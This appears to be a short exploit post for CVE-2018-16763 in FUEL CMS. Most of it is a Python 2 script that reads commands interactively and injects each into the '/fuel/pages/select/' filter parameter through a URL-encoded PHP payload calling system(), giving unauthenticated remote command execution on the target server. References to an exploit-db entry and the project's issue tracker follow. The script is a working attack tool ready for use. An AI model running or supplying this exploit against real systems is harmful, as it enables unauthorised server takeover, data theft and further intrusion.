From Code Evaluation to Pre-Auth Remote Code Execution (CVE-2018-16763 bypass)

I wrote the exploit for CVE-2018-16763, thanks om3rcitak (https://github.com/om3rcitak) for capture nice vulnerability.

import requests
import urllib

url = "http://127.0.0.1:8881"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
	proxy = {"http":"http://127.0.0.1:8080"}
	r = requests.get(burp0_url, proxies=proxy)

	html = ""
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]

Reference:
https://www.exploit-db.com/exploits/47138
https://github.com/daylightstudio/FUEL-CMS/issues/478